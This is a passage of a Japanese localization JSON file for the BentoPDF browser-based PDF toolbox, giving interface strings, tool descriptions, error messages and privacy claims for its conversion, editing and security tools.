"description": "あなたのプライバシーを尊重し、決して支払いを要求しない、最も包括的なPDFツールボックスを提供すること。私たちは必須のドキュメントツールは誰でも、どこでも、障壁なくアクセスできるべきだと考えています。"
},
"philosophy": {
"label": "私たちの基本理念",
"title": "プライバシー第一。常に。",
"description": "データが商品である時代において私たちは異なるアプローチを採用しています。BentoPDFツールのすべての処理はブラウザ内でローカルに行われます。これはあなたのファイルが私たちのサーバーにアクセスすることはなく、あなたの文書を見ることも、あなたの行動を追跡することもありません。あなたの文書は完全かつ明確に非公開のままです。それは単なる機能ではありません。それは私たちの基盤です。"
},
"whyBentopdf": {
"title": "なぜ",
"speed": {
"title": "スピードを追求した設計",
"description": "サーバーへのアップロードやダウンロードを待つ必要はありません。WebAssemblyなどの最新のWebテクノロジーを使用してブラウザでファイルを直接処理することで、すべてのツールで比類のない速度を実現します。"
},
"free": {
"title": "完全に無料",
"description": "トライアル、サブスクリプション、隠れた料金はなく、人質に取られる「プレミアム」機能もありません。私たちは、強力なPDFツールは利益センターではなく公共事業であるべきだと考えています。"
},
"noAccount": {
"title": "アカウントは必要ありません",
"description": "どのツールでもすぐに使い始めてください。メールアドレス、パスワード、その他の個人情報は必要ありません。ワークフローはスムーズかつ匿名である必要があります。"
},
"openSource": {
"title": "オープンソースの精神",
"description": "透明性を念頭に置いて構築されています。私たちはPDF-libやPDF.jsなどの素晴らしいオープンソースライブラリを活用し、強力なツールを誰もが利用できるようにするためのコミュニティ主導の取り組みを信じています。"
}
},
"cta": {
"title": "始める準備はできましたか?",
"description": "毎日のドキュメントのニーズにBentoPDFを信頼している何千人ものユーザーに加わりましょう。プライバシーとパフォーマンスがもたらす違いを体験してください。",
"button": "すべてのツールを探索する"
}
},
"contact": {
"title": "お問い合わせ",
"subtitle": "ぜひご意見をお待ちしております。ご質問、フィードバック、機能リクエストなどがありましたらお気軽にお問い合わせください。",
"email": "次のアドレスにメールで直接ご連絡ください。"
},
"licensing": {
"title": "ライセンス",
"subtitle": "ニーズに合ったライセンスを選択してください。"
},
"multiTool": {
"uploadPdfs": "PDFをアップロード",
"upload": "アップロード",
"addBlankPage": "空白ページを追加",
"edit": "編集:",
"undo": "元に戻す",
"redo": "やり直し",
"reset": "リセット",
"selection": "選択:",
"selectAll": "すべて選択",
"deselectAll": "すべての選択を解除",
"rotate": "回転:",
"rotateLeft": "左",
"rotateRight": "右",
"transform": "操作:",
"duplicate": "複製",
"split": "分割",
"clear": "クリア:",
"delete": "消去",
"download": "ダウンロード:",
"downloadSelected": "選択したものをダウンロード",
"exportPdf": "PDFをエクスポート",
"uploadPdfFiles": "PDFファイルを選択",
"dragAndDrop": "ここにPDFファイルをドラッグ&ドロップするかクリックして選択します",
"selectFiles": "ファイルの選択",
"renderingPages": "ページをレンダリング中...",
"actions": {
"duplicatePage": "このページを複製",
"deletePage": "このページを削除",
"insertPdf": "このページの後にPDFを挿入",
"toggleSplit": "このページの後の分割を切り替え"
},
"pleaseWait": "お待ちください",
"pagesRendering": "ページはまだレンダリング中です。お待ちください...",
"noPagesSelected": "ページが選択されていません",
"selectOnePage": "ダウンロードするページを1つ以上選択してください。",
"noPages": "ページがありません",
"noPagesToExport": "エクスポートするページがありません。",
"renderingTitle": "ページのプレビューをレンダリングする",
"errorRendering": "ページのサムネイルのレンダリングに失敗しました",
"error": "エラー",
"failedToLoad": "ロードに失敗しました"
},
"simpleMode": {
"title": "PDFツール",
"subtitle": "開始するにはツールを選択してください"
},
"disabledTool": {
"title": "ツールが使用できません",
"heading": "このツールは無効になっています",
"message": "このツールは、ご使用の環境では使用できません。詳細については、管理者にお問い合わせください。",
"backHome": "ホームに戻る"
}
}
+862
View File
@@ -0,0 +1,862 @@
{
"categories": {
"popularTools": "人気のツール",
"editAnnotate": "編集と注釈",
"convertToPdf": "PDFに変換",
"convertFromPdf": "PDFから変換",
"organizeManage": "整理と管理",
"optimizeRepair": "最適化と修復",
"securePdf": "安全なPDF"
},
"pdfMultiTool": {
"name": "PDFマルチツール",
"subtitle": "統合インターフェースで結合、分割、整理、削除、回転、空白ページの追加、抽出、複製を行えます。"
},
"mergePdf": {
"name": "PDFの結合",
"subtitle": "複数のPDFを1つのファイルに結合します。しおりを保存します。"
},
"splitPdf": {
"name": "PDFの分割",
"subtitle": "一定範囲のページを新しいPDFに抽出します。"
},
"compressPdf": {
"name": "PDFの圧縮",
"subtitle": "PDFのファイルサイズを小さくします。",
"algorithmLabel": "圧縮アルゴリズム",
"condense": "コンデンス(推奨)",
"photon": "フォトン(写真を多く含むPDF用)",
"condenseInfo": "コンデンスは高度な圧縮技術を採用しています: 不要なデータを削除、画像を最適化しフォントをサブセット化します。ほとんどのPDFに最適です。",
"photonInfo": "フォトンはページを画像に変換します。写真が多いPDFやスキャンしたPDFにおすすめです。",
"photonWarning": "警告: テキストは選択できなくなり、リンクは機能しなくなります。",
"levelLabel": "圧縮レベル",
"light": "ライト(品質維持)",
"balanced": "バランス(推奨)",
"aggressive": "アグレッシブ(ファイルをより小さく)",
"extreme": "エクストリーム(最大圧縮)",
"grayscale": "グレースケールに変換",
"grayscaleHint": "カラー情報を削除してファイルサイズを削減します。",
"customSettings": "カスタム設定",
"customSettingsHint": "圧縮パラメータの微調整:",
"outputQuality": "出力品質",
"resizeImagesTo": "画像のリサイズ",
"onlyProcessAbove": "上記の処理のみ",
"removeMetadata": "メタデータを削除する",
"subsetFonts": "サブセットフォント (未使用のグリフの削除)",
"removeThumbnails": "埋め込みサムネイルを削除する",
"compressButton": "PDFを圧縮"
},
"pdfEditor": {
"name": "PDFエディター",
"subtitle": "PDFへの注釈追加、ハイライト、黒塗り、コメント、図形や画像の挿入、検索、および表示が可能です。"
},
"jpgToPdf": {
"name": "JPGからPDF",
"subtitle": "JPG、JPEG、およびJPEG2000(JP2/JPX)形式の画像からPDFを作成します。"
},
"signPdf": {
"name": "PDFへ署名",
"subtitle": "署名を描く、入力、またはアップロードします。"
},
"cropPdf": {
"name": "PDFのトリミング",
"subtitle": "PDFのすべてのページの余白をトリミングします。"
},
"extractPages": {
"name": "ページの抽出",
"subtitle": "選択したページを新しいファイルとして保存します。"
},
"duplicateOrganize": {
"name": "複製と整理",
"subtitle": "ページを複製、並べ替え、削除します。"
},
"deletePages": {
"name": "ページの削除",
"subtitle": "文書から特定のページを削除します。"
},
"editBookmarks": {
"name": "しおりの編集",
"subtitle": "PDFのしおりを追加、編集、インポート、削除、抽出します。"
},
"tableOfContents": {
"name": "目次",
"subtitle": "PDFのしおりから目次ページを生成します。"
},
"pageNumbers": {
"name": "ページ番号",
"subtitle": "文書にページ番号を挿入します。"
},
"addPageLabels": {
"name": "ページラベルの追加",
"subtitle": "ローマ数字、プレフィックス、カスタム開始を使用してPDFページラベルを適用します。",
"uploadHint": "PDFファイル",
"howLabelsWorkTitle": "ラベルの仕組み",
"howLabelsWorkStep1": "すべてのページにラベルを付けるには、ページ範囲を空のままにします。",
"howLabelsWorkStep2": "前付にはローマ数字、本文には10進数などのスタイルを使用します。",
"howLabelsWorkStep3": "A-0、A-1、A-2 などのラベルを作成するには、開始値0のプレフィックスを使用します。",
"howLabelsWorkStep4": "1つのルールが1-9、30-40または奇数などの互いに素な範囲を使用する場合に進行状況を有効にします。",
"labelRulesTitle": "ラベルのルール",
"addRule": "ルールの追加",
"removeExistingLabels": "これらのルールを適用する前に既存のページラベルを削除してください",
"cpdfNote": "このツールはブラウザでCoherentPDFを使用します。CoherentPDFが設定されていない場合は、WASM設定で設定するように求められます。",
"processButton": "ページラベルの追加",
"howItWorksUploadTitle": "ファイルをアップロードする",
"howItWorksUploadDescription": "ラベルを再設定するPDFを選択します。",
"howItWorksDefineTitle": "ルールの定義",
"howItWorksDefineDescription": "ページ範囲、スタイル、プレフィックス、開始値を含む1つ以上のページラベルのルールを設定します。",
"howItWorksDownloadTitle": "ダウンロード",
"howItWorksDownloadDescription": "更新されたPDFを新しいページラベルとともに保存します。",
"relatedToolsTitle": "関連するPDFツール",
"faqWhatIsQuestion": "ページラベルとは何ですか?",
"faqWhatIsAnswer": "ページラベルとはPDFリーダーによってサムネイル、ページ ナビゲーション、および印刷ダイアログに表示される番号です。ページ自体に新しいテキストは印刷されません。",
"faqMixQuestion": "ローマ数字と普通の数字を混ぜてもいいですか?",
"faqMixAnswer": "はい。小文字ローマ数字では1~4、十進アラビア語では5~20など、複数のルールを追加します。",
"faqPrivacyQuestion": "私のファイルは非公開のままですか?",
"faqPrivacyAnswer": "はい。処理はCoherentPDF WASMを使用してブラウザで行われます。PDFはデバイスの外に送信されません。",
"invalidFileTitle": "無効なファイル",
"invalidFileMessage": "有効なPDFファイルをアップロードしてください。",
"loadingPdf": "PDFを読み込んでいます...",
"protectedPdfTitle": "保護されたPDF",
"protectedPdfMessage": "このPDFはパスワードで保護されています。まず、復号化または権限変更ツールを使用してください。",
"loadErrorMessage": "PDFファイルの読み込みに失敗しました。ファイルが無効であるか、破損しているか、パスワードで保護されている可能性があります。",
"fileMeta": "{{size}} • {{count}} ページ",
"ruleTitle": "ラベルルール{{number}}",
"pageRangeLabel": "ページ範囲",
"pageRangePlaceholder": "すべてのページ、またはたとえば1-4、7、odd(奇数)",
"labelStyleLabel": "ラベルのスタイル",
"labelPrefixLabel": "ラベルプレフィックス",
"labelPrefixPlaceholder": "オプションのプレフィックス、例:A-",
"startValueLabel": "開始値",
"continueNumbering": "互いに素な範囲にわたって番号付けを続ける",
"examplesNote": "例: ローマ数字の前付の場合は1~4、プレフィックスA-と開始値0の場合は15~20、または進行状況が有効な場合はodd(奇数)です。",
"uploadFirstMessage": "まずはPDFファイルをアップロードしてください。",
"applyingLabels": "ページラベルを適用しています...",
"invalidRangeMessage": "ルール{{number}}には無効なページ範囲があります: {{range}}",
"allPages": "すべてのページ",
"emptyOutputMessage": "CoherentPDFは空のファイルを生成しました。",
"successMessage": "ページラベルが正常に追加されました。",
"processErrorMessage": "ページラベルを追加できませんでした。",
"styleOptions": {
"DecimalArabic": "10進アラビア数字",
"LowercaseRoman": "小文字のローマ数字",
"UppercaseRoman": "大文字のローマ数字",
"LowercaseLetters": "小文字",
"UppercaseLetters": "大文字",
"NoLabelPrefixOnly": "ラベルなしプレフィックスのみ"
}
},
"batesNumbering": {
"name": "通し番号付け",
"subtitle": "1つ以上のPDFファイルに連続した通し番号を追加します。"
},
"addWatermark": {
"name": "透かしの追加",
"subtitle": "PDFページにテキストまたは画像をスタンプします。",
"applyToAllPages": "すべてのページに適用"
},
"headerFooter": {
"name": "ヘッダーとフッター",
"subtitle": "ページの上部と下部にテキストを追加します。"
},
"invertColors": {
"name": "色の反転",
"subtitle": "PDFの「ダークモード」バージョンを作成します。"
},
"scannerEffect": {
"name": "スキャナー効果",
"subtitle": "PDFをスキャンしたドキュメントのように見せます。",
"scanSettings": "スキャン設定",
"colorspace": "色空間",
"gray": "グレー",
"border": "境界線",
"rotate": "回転",
"rotateVariance": "回転分散",
"brightness": "輝度",
"contrast": "コントラスト",
"blur": "ぼかし",
"noise": "ノイズ",
"yellowish": "黄ばみ",
"resolution": "解像度",
"processButton": "スキャナー効果を適用"
},
"adjustColors": {
"name": "色の調整",
"subtitle": "PDFの明るさ、コントラスト、彩度などを微調整します。",
"colorSettings": "カラー設定",
"brightness": "輝度",
"contrast": "コントラスト",
"saturation": "飽和",
"hueShift": "色相シフト",
"temperature": "色温度",
"tint": "色合い",
"gamma": "ガンマ",
"sepia": "セピア",
"processButton": "色調整を適用する"
},
"backgroundColor": {
"name": "背景色",
"subtitle": "PDFの背景色を変更します。"
},
"changeTextColor": {
"name": "テキストの色の変更",
"subtitle": "PDF内のテキストの色を変更します。"
},
"addStamps": {
"name": "スタンプの追加",
"subtitle": "注釈ツールバーを使用して、画像スタンプをPDFに追加します。",
"usernameLabel": "スタンプユーザー名",
"usernamePlaceholder": "名前を入力してください(スタンプ用)",
"usernameHint": "この名前は作成したスタンプに表示されます。"
},
"removeAnnotations": {
"name": "注釈の削除",
"subtitle": "コメント、ハイライト、リンクを削除します。"
},
"pdfFormFiller": {
"name": "PDFフォーム入力機能",
"subtitle": "ブラウザでフォームに直接入力します。XFAフォームもサポートします。"
},
"createPdfForm": {
"name": "PDFフォームの作成",
"subtitle": "ドラッグ&ドロップでテキストフィールドを追加できる入力可能なPDFフォームを作成します。"
},
"removeBlankPages": {
"name": "空白ページの削除",
"subtitle": "空白ページを自動的に検出して削除します。",
"sensitivityHint": "高い = 厳密で純粋な空白のページのみです。低い = 一部のコンテンツを含むページを許可します。"
},
"imageToPdf": {
"name": "画像からPDF",
"subtitle": "JPG、PNG、BMP、GIF、TIFF、PNM、PGM、PBM、PPM、PAM、JXR、JPX、JP2、PSD、SVG、HEIC、WebP をPDFに変換します。"
},
"pngToPdf": {
"name": "PNGからPDF",
"subtitle": "1つ以上のPNG画像からPDFを作成します。"
},
"webpToPdf": {
"name": "WebPからPDF",
"subtitle": "1つ以上のWebP画像からPDFを作成します。"
},
"svgToPdf": {
"name": "SVGからPDF",
"subtitle": "1つ以上のSVG画像からPDFを作成します。"
},
"bmpToPdf": {
"name": "BMPからPDF",
"subtitle": "1つ以上のBMP画像からPDFを作成します。"
},
"heicToPdf": {
"name": "HEICからPDF",
"subtitle": "1つ以上のHEIC画像からPDFを作成します。"
},
"tiffToPdf": {
"name": "TIFFからPDFへ",
"subtitle": "1つ以上の TIFF 画像からPDFを作成します。"
},
"textToPdf": {
"name": "テキストからPDF",
"subtitle": "プレーンテキストファイルをPDFに変換します。"
},
"jsonToPdf": {
"name": "JSONからPDF",
"subtitle": "JSONファイルをPDF形式に変換します。"
},
"pdfToJpg": {
"name": "PDFからJPG",
"subtitle": "各PDFページをJPG画像に変換します。",
"imageQuality": "画質",
"imageQualityExplanation": "品質が高い = ファイルサイズが大きくなる",
"alert": {
"invalidFile": "無効なファイルです",
"invalidFileExplanation": "PDFファイルをアップロードしてください。",
"noFile": "ファイルがありません",
"noFileExplanation": "まずはPDFファイルをアップロードしてください。",
"conversionSuccess": "PDFからJPGへの変換に成功しました。",
"conversionError": "PDFからJPGへの変換に失敗しました。ファイルが破損している可能性があります。"
},
"loader": {
"converting": "JPGに変換中..."
}
},
"pdfToPng": {
"name": "PDFからPNG",
"subtitle": "各PDFページをPNG画像に変換します。",
"imageScale": "画像スケール",
"imageScaleExplanation": "スケールが大きい = 品質は向上しますがファイルサイズは大きくなります",
"alert": {
"invalidFile": "無効なファイル",
"invalidFileExplanation": "PDFファイルをアップロードしてください。",
"noFile": "ファイルがありません",
"noFileExplanation": "まずはPDFファイルをアップロードしてください。",
"conversionSuccess": "PDFからPNGへの変換に成功しました。",
"conversionError": "PDFからPNGへの変換に失敗しました。ファイルが破損している可能性があります。"
},
"loader": {
"converting": "PNGに変換中..."
}
},
"pdfToWebp": {
"name": "PDFからWebP",
"subtitle": "各PDFページをWebP画像に変換します。",
"imageQuality": "画質",
"imageQualityExplanation": "品質が高い = ファイルサイズが大きくなります",
"alert": {
"invalidFile": "無効なファイル",
"invalidFileExplanation": "PDFファイルをアップロードしてください。",
"noFile": "ファイルがありません",
"noFileExplanation": "まずはPDFファイルをアップロードしてください。",
"conversionSuccess": "PDFからWebPへの変換に成功しました。",
"conversionError": "PDFからWebPへの変換に失敗しました。ファイルが破損している可能性があります。"
},
"loader": {
"converting": "WebPに変換中..."
}
},
"pdfToBmp": {
"name": "PDFからBMP",
"subtitle": "各PDFページをBMP画像に変換します。",
"alert": {
"invalidFile": "無効なファイル",
"invalidFileExplanation": "PDFファイルをアップロードしてください。",
"noFile": "ファイルがありません",
"noFileExplanation": "まずはPDFファイルをアップロードしてください。",
"conversionSuccess": "PDFからBMPへの変換に成功しました。",
"conversionError": "PDFからBMPへの変換に失敗しました。ファイルが破損している可能性があります。"
},
"loader": {
"converting": "BMPに変換中..."
}
},
"pdfToTiff": {
"name": "PDFからTIFF",
"subtitle": "各PDFページをTIFF画像に変換します。",
"dpi": "DPI (解像度)",
"dpiExplanation": "DPIが高い = 印刷品質が向上しファイルサイズが大きくなります",
"compression": "圧縮",
"compressionExplanation": "LZWとDeflateはロスレスです。CCITTグループ4は白黒でスキャンしたドキュメントに最適です。",
"colorMode": "カラーモード",
"multiPage": "マルチページTIFF(単一ファイル)として保存",
"loadingVips": "画像プロセッサをロード中...",
"converting": "TIFFに変換しています...",
"alert": {
"invalidFile": "無効なファイル",
"invalidFileExplanation": "PDFファイルをアップロードしてください。",
"noFile": "ファイルがありません",
"noFileExplanation": "まずはPDFファイルをアップロードしてください。",
"conversionSuccess": "PDFからTIFFへの変換に成功しました。",
"conversionError": "PDFからTIFFへの変換に失敗しました。ファイルが破損している可能性があります。"
}
},
"pdfToCbz": {
"name": "PDFからCBZへ",
"subtitle": "PDFをコミックリーダー用のCBZ (Comic Book Archive)ファイルに変換します。",
"imageFormat": "画像フォーマット",
"quality": "画質",
"qualityExplanation": "品質が高い = ファイルサイズが大きくなります",
"scale": "スケール",
"scaleExplanation": "スケールが大きい = 高解像度画面の品質が高い",
"grayscale": "グレースケールに変換する",
"manga": "マンガモード(右から左)",
"includeMetadata": "ComicInfo.xml メタデータを含める",
"titleLabel": "タイトル",
"seriesLabel": "シリーズ",
"authorLabel": "著者",
"numberLabel": "#",
"volumeLabel": "ボリューム",
"publisherLabel": "出版社",
"tagsLabel": "タグ / ジャンル",
"yearLabel": "出版年",
"ratingLabel": "評価 (0-5)",
"converting": "CBZに変換中...",
"alert": {
"invalidFile": "無効なファイルです",
"invalidFileExplanation": "PDFファイルをアップロードしてください。",
"noFile": "ファイルがありません",
"noFileExplanation": "まずはPDFファイルをアップロードしてください。",
"conversionSuccess": "PDFからCBZへの変換に成功しました。",
"conversionError": "PDFからCBZへの変換に失敗しました。ファイルが破損している可能性があります。"
}
},
"pdfToGreyscale": {
"name": "PDFのグレースケール化",
"subtitle": "すべての色を白黒に変換します。"
},
"pdfToJson": {
"name": "PDFからJSON",
"subtitle": "PDFファイルをJSON形式に変換します。"
},
"ocrPdf": {
"name": "OCR PDF",
"subtitle": "PDFを検索およびコピー可能にします。"
},
"alternateMix": {
"name": "代替ページと混合ページ",
"subtitle": "各PDFのページを交互に配置してPDFを結合します。ブックマークを保存します。"
},
"addAttachments": {
"name": "添付ファイルの追加",
"subtitle": "1つ以上のファイルをPDFに埋め込みます。"
},
"extractAttachments": {
"name": "添付ファイルの抽出",
"subtitle": "PDFからすべての埋め込みファイルをZIPとして抽出します。"
},
"editAttachments": {
"name": "添付ファイルの編集",
"subtitle": "PDF内の添付ファイルを表示または削除します。"
},
"dividePages": {
"name": "ページの分割",
"subtitle": "ページを水平または垂直に分割します。"
},
"addBlankPage": {
"name": "空白ページの追加",
"subtitle": "PDF内の任意の場所に空のページを挿入します。"
},
"reversePages": {
"name": "ページの反転",
"subtitle": "文書内のすべてのページの順序を反転します。"
},
"rotatePdf": {
"name": "PDFの回転",
"subtitle": "ページを90度ずつ回転します。"
},
"rotateCustom": {
"name": "任意の角度で回転",
"subtitle": "任意の角度でページを回転します。"
},
"nUpPdf": {
"name": "N-Up PDF",
"subtitle": "複数のページを1枚のシートに配置します。"
},
"combineToSinglePage": {
"name": "単一ページに結合",
"subtitle": "すべてのページを1つの連続したスクロールにつなぎ合わせます。"
},
"viewMetadata": {
"name": "メタデータの表示",
"subtitle": "PDFの非表示のプロパティを調べます。"
},
"editMetadata": {
"name": "メタデータの編集",
"subtitle": "著者、タイトル、その他のプロパティを変更します。"
},
"pdfsToZip": {
"name": "PDFからZIP",
"subtitle": "複数のPDFファイルをZIPアーカイブにパッケージ化します。"
},
"comparePdfs": {
"name": "PDFの比較",
"subtitle": "2つのPDFを並べて比較します。",
"firstPdf": "最初のPDF",
"secondPdf": "2番目のPDF",
"clickOrDrop": "クリックまたはドロップ",
"page": "ページ",
"overlay": "かぶせる",
"sideBySide": "サイドバイサイド",
"flicker": "ちらつき",
"syncScroll": "同期スクロール",
"export": "エクスポート",
"exportAsPdf": "PDFとしてエクスポート",
"splitView": "分割ビュー",
"alternating": "交互に",
"leftDocument": "左の文書",
"rightDocument": "右の文書",
"original": "オリジナル",
"modified": "修正済み",
"searchChanges": "検索の変更...",
"deleted": "削除されました",
"added": "追加されました",
"prevPage": "前のページ",
"nextPage": "次のページ",
"prevChange": "前の変更",
"nextChange": "次の変更",
"uploadTwoPdfs": "2つのPDFをアップロードして違いを確認します。",
"noDifferences": "このページでは相違点は検出されませんでした。",
"noMatchingChanges": "現在のフィルターに一致する変更はありません。",
"pageNotExist": "このPDFにはページ{{page}}が存在しません。",
"noPairedPage": "こちら側にはペアのページがありません。",
"buildingModel": "ページ ペアリング モデルを構築しています...",
"indexingPdf": "PDF{{num}}ページ {{page}}/{{total}} のインデックスを作成しています...",
"loadingComparison": "{{total}} の比較 {{current}} を読み込み中...",
"runningOcr": "ページ {{page}} でOCRを実行しています...",
"preparingExport": "PDFエクスポートを準備しています...",
"renderingPage": "ページ {{current}} / {{total}} をレンダリング中...",
"exportError": "エクスポートエラー",
"exportFailed": "比較PDFをエクスポートできませんでした。",
"loadingFile": "{{name}}を読み込んでいます...",
"invalidFile": "無効なファイル",
"invalidFileMsg": "有効なPDFファイルを選択してください。",
"loadError": "PDFを読み込めませんでした。破損しているか、パスワードで保護されている可能性があります。"
},
"posterizePdf": {
"name": "PDFのポスタライズ",
"subtitle": "大きなページを複数の小さなページに分割します。"
},
"fixPageSize": {
"name": "ページサイズを固定",
"subtitle": "すべてのページを均一なサイズに標準化します。"
},
"linearizePdf": {
"name": "PDFの線形化",
"subtitle": "Web上で高速に表示できるようにPDFを最適化します。"
},
"pageDimensions": {
"name": "ページ寸法",
"subtitle": "ページのサイズ、方向、単位を分析します。"
},
"removeRestrictions": {
"name": "制限の解除",
"subtitle": "デジタル署名されたPDFファイルに関連付けられたパスワード保護とセキュリティ制限を削除します。"
},
"repairPdf": {
"name": "PDFの修復",
"subtitle": "破損したPDFファイルからデータを回復します。"
},
"encryptPdf": {
"name": "PDFの暗号化",
"subtitle": "パスワードを追加してPDFをロックします。"
},
"sanitizePdf": {
"name": "PDFをサニタイズ",
"subtitle": "メタデータ、注釈、スクリプトなどを削除します。"
},
"decryptPdf": {
"name": "PDFの復号化",
"subtitle": "パスワード保護を解除してPDFのロックを解除します。"
},
"flattenPdf": {
"name": "PDFの平坦化",
"subtitle": "フォームフィールドと注釈を編集不可にします。"
},
"removeMetadata": {
"name": "メタデータの削除",
"subtitle": "PDFから非表示のデータを削除します。"
},
"changePermissions": {
"name": "権限の変更",
"subtitle": "PDF に対するユーザー権限を設定または変更します。"
},
"odtToPdf": {
"name": "ODTからPDF",
"subtitle": "OpenDocumentテキストファイルをPDF形式に変換します。複数のファイルをサポートします。",
"acceptedFormats": "ODTファイル",
"convertButton": "PDFに変換"
},
"csvToPdf": {
"name": "CSVからPDF",
"subtitle": "CSVスプレッドシートファイルをPDF形式に変換します。複数のファイルをサポートします。",
"acceptedFormats": "CSVファイル",
"convertButton": "PDFに変換"
},
"rtfToPdf": {
"name": "RTFからPDF",
"subtitle": "リッチテキスト形式のドキュメントをPDFに変換します。複数のファイルをサポートします。",
"acceptedFormats": "RTFファイル",
"convertButton": "PDFに変換"
},
"wordToPdf": {
"name": "WordからPDF",
"subtitle": "Word 文書 (DOCX, DOC, ODT, RTF) をPDF形式に変換します。複数のファイルをサポートします。",
"acceptedFormats": "DOCX, DOC, ODT, RTFファイル",
"convertButton": "PDFに変換"
},
"excelToPdf": {
"name": "ExcelからPDF",
"subtitle": "Excelスプレッドシート (XLSX, XLS, ODS, CSV) をPDF形式に変換します。複数のファイルをサポートします。",
"acceptedFormats": "XLSX, XLS, ODS, CSVファイル",
"convertButton": "PDFに変換"
},
"powerpointToPdf": {
"name": "PowerPointからPDF",
"subtitle": "PowerPointプレゼンテーション (PPTX, PPT, ODP) をPDF形式に変換します。複数のファイルをサポートします。",
"acceptedFormats": "PPTX, PPT, ODPファイル",
"convertButton": "PDFに変換"
},
"markdownToPdf": {
"name": "マークダウンからPDF",
"subtitle": "Markdownを記述または貼り付けて、見栄えの良いPDFとしてエクスポートします。",
"paneMarkdown": "マークダウン",
"panePreview": "プレビュー",
"btnUpload": "アップロード",
"btnSyncScroll": "同期スクロール",
"btnSettings": "設定",
"btnExportPdf": "PDFをエクスポート",
"settingsTitle": "マークダウン設定",
"settingsPreset": "プリセット",
"presetDefault": "デフォルト(GFMライク)",
"presetCommonmark": "CommonMark(厳密)",
"presetZero": "最小限(機能なし)",
"settingsOptions": "マークダウンオプション",
"optAllowHtml": "HTMLタグを許可",
"optBreaks": "改行を<br>に変換",
"optLinkify": "URLをリンクに自動変換",
"optTypographer": "タイポグラフィ(スマートクォートなど)"
},
"pdfBooklet": {
"name": "PDFブックレット",
"subtitle": "両面小冊子印刷用にページを並べ替えます。折りたたんでホッチキスで留めて小冊子を作成します。",
"howItWorks": "仕組み:",
"step1": "PDFファイルをアップロードします。",
"step2": "ページは冊子順に並​​べ替えられます。",
"step3": "両面印刷し、短辺を裏返して折り、ホチキスで留めます。",
"paperSize": "用紙サイズ",
"orientation": "用紙の向き",
"portrait": "縦向き",
"landscape": "横向き",
"pagesPerSheet": "シートあたりのページ数",
"createBooklet": "小冊子の作成",
"processing": "処理中...",
"pageCount": "必要に応じてページ数が4の倍数にパディングされます。"
},
"xpsToPdf": {
"name": "XPSからPDF",
"subtitle": "XPS/OXPSドキュメントをPDF形式に変換します。複数のファイルをサポートします",
"acceptedFormats": "XPS、OXPS ファイル",
"convertButton": "PDFに変換"
},
"mobiToPdf": {
"name": "MOBIからPDFへの変換",
"subtitle": "MOBI電子書籍をPDF形式に変換します。複数のファイルをサポートします。",
"acceptedFormats": "MOBIファイル",
"convertButton": "PDFに変換"
},
"epubToPdf": {
"name": "EPUBからPDF",
"subtitle": "EPUB電子書籍をPDF形式に変換します。複数のファイルをサポートします。",
"acceptedFormats": "EPUBファイル",
"convertButton": "PDFに変換"
},
"fb2ToPdf": {
"name": "FB2からPDF",
"subtitle": "FictionBook(FB2)電子書籍をPDF形式に変換します。複数のファイルをサポートします。",
"acceptedFormats": "FB2ファイル",
"convertButton": "PDFに変換"
},
"cbzToPdf": {
"name": "CBZからPDF",
"subtitle": "コミックのアーカイブファイル(CBZ/CBR)をPDF形式に変換します。複数のファイルをサポートします。",
"acceptedFormats": "CBZ, CBRファイル",
"convertButton": "PDFに変換"
},
"wpdToPdf": {
"name": "WPDからPDF",
"subtitle": "WordPerfectドキュメント(WPD)をPDF形式に変換します。複数のファイルをサポートします。",
"acceptedFormats": "WPDファイル",
"convertButton": "PDFに変換"
},
"wpsToPdf": {
"name": "WPSからPDF",
"subtitle": "WPS OfficeドキュメントをPDF形式に変換します。複数のファイルをサポートします。",
"acceptedFormats": "WPSファイル",
"convertButton": "PDFに変換"
},
"xmlToPdf": {
"name": "XMLからPDF",
"subtitle": "XMLドキュメントをPDF形式に変換します。複数のファイルをサポートします。",
"acceptedFormats": "XMLファイル",
"convertButton": "PDFに変換"
},
"pagesToPdf": {
"name": "PagesをPDFに変換",
"subtitle": "Apple PagesドキュメントをPDF形式に変換します。複数のファイルをサポートします。",
"acceptedFormats": "Pagesファイル",
"convertButton": "PDFに変換"
},
"odgToPdf": {
"name": "ODGからPDF",
"subtitle": "OpenDocument Graphics(ODG)ファイルをPDF形式に変換します。複数のファイルをサポートします。",
"acceptedFormats": "ODGファイル",
"convertButton": "PDFに変換"
},
"odsToPdf": {
"name": "ODSからPDF",
"subtitle": "OpenDocumentスプレッドシート(ODS)ファイルをPDF形式に変換します。複数のファイルをサポートします。",
"acceptedFormats": "ODSファイル",
"convertButton": "PDFに変換"
},
"odpToPdf": {
"name": "ODPからPDF",
"subtitle": "OpenDocumentプレゼンテーション(ODP)ファイルをPDF形式に変換します。複数のファイルをサポートします。",
"acceptedFormats": "ODPファイル",
"convertButton": "PDFに変換"
},
"pubToPdf": {
"name": "PUBからPDF",
"subtitle": "Microsoft Publisher(PUB)ファイルをPDF形式に変換します。複数のファイルをサポートします。",
"acceptedFormats": "PUBファイル",
"convertButton": "PDFに変換"
},
"vsdToPdf": {
"name": "VSDからPDFへのファイル変換",
"subtitle": "Microsoft Visio(VSD, VSDX)ファイルをPDF形式に変換します。複数のファイルをサポートします。",
"acceptedFormats": "VSD, VSDXファイル",
"convertButton": "PDFに変換"
},
"psdToPdf": {
"name": "PSDからPDF",
"subtitle": "Adobe Photoshop(PSD)ファイルをPDF形式に変換します。複数のファイルをサポートします。",
"acceptedFormats": "PSDファイル",
"convertButton": "PDFに変換"
},
"pdfToSvg": {
"name": "PDFからSVG",
"subtitle": "PDFファイルの各ページをスケーラブルベクターグラフィック(SVG)に変換し、どのサイズでも完璧な品質を実現します。"
},
"extractTables": {
"name": "PDFテーブルの抽出",
"subtitle": "PDFファイルからテーブルを抽出しCSV、JSON、またはマークダウンとしてエクスポートします。"
},
"pdfToCsv": {
"name": "PDFからCSV",
"subtitle": "PDFから表を抽出し、CSV形式に変換します。"
},
"pdfToExcel": {
"name": "PDFからExcel",
"subtitle": "PDFから表を抽出し、Excel(XLSX)形式に変換します。"
},
"pdfToText": {
"name": "PDFからテキスト",
"subtitle": "PDFファイルからテキストを抽出し、プレーンテキスト (.txt) として保存します。複数のファイルをサポートします。",
"note": "このツールはデジタルで作成されたPDFでのみ機能します。スキャンされたドキュメントまたは画像ベースのPDFの場合は、代わりにOCR PDFツールを使用してください。",
"convertButton": "テキストの抽出"
},
"digitalSignPdf": {
"name": "PDFへの電子署名",
"pageTitle": "デジタル署名PDF - 暗号化署名の追加 | BentoPDF",
"subtitle": "X.509証明書を使用してPDFに暗号デジタル署名を追加します。 PKCS#12(.pfx, .p12)およびPEM形式をサポートします。秘密キーがブラウザから離れることはありません。",
